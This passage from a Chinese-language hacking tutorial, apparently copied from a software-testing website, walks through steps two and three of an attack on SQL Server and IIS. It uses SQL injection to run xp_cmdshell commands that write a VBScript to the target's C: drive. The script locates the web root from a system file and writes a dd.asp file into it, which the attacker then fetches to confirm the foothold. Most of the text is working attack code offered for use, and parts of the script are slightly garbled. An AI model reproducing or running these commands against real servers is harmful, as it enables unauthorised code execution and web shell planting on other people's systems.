第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧
.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--
.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’
;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------cut here-------------------------------------
第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑
然后寫一個叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯
執行http://x.x.x.x/dd.asp
返回:\xxx
文章來源于領測軟件測試網 http://www.kjueaiud.com/